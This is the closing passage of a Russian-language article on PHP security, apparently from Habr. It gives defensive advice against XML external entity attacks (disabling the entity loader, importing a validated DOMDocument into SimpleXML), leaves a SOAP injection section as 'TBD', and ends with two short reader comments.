Конечно, нужно ещё подстраховаться и присвоить libxml_disable_entity_loader значение TRUE, чтобы ссылки на внешние сущности не были разложены (resolve) при первичной загрузке XML. Это может быть единственно возможной защитой там, где XML-парсер не зависит от libxml2, если только этот парсер не имеет исчерпывающего набора опций управления разложением сущностей.


Если вы намерены использовать SimpleXML, то имейте в виду, что с помощью функции simplexml_import_dom() вы можете импортировать проверенный объект DOMDocument.


SOAP Injection


TBD

Комментарии (2)


  1. greenkey
    06.04.2018 10:34

    Хороший обзор, отложу себе почитать на досуге.


  1. zim32
    06.04.2018 13:23

    Я давно сторонник белых списков. Странно что мой недавний пост habrahabr.ru/post/352550 собрал так мало коментариев. От внедрения кода это не защитит, но существенно уменьшит шансы что этот код принесет пользу атакующему.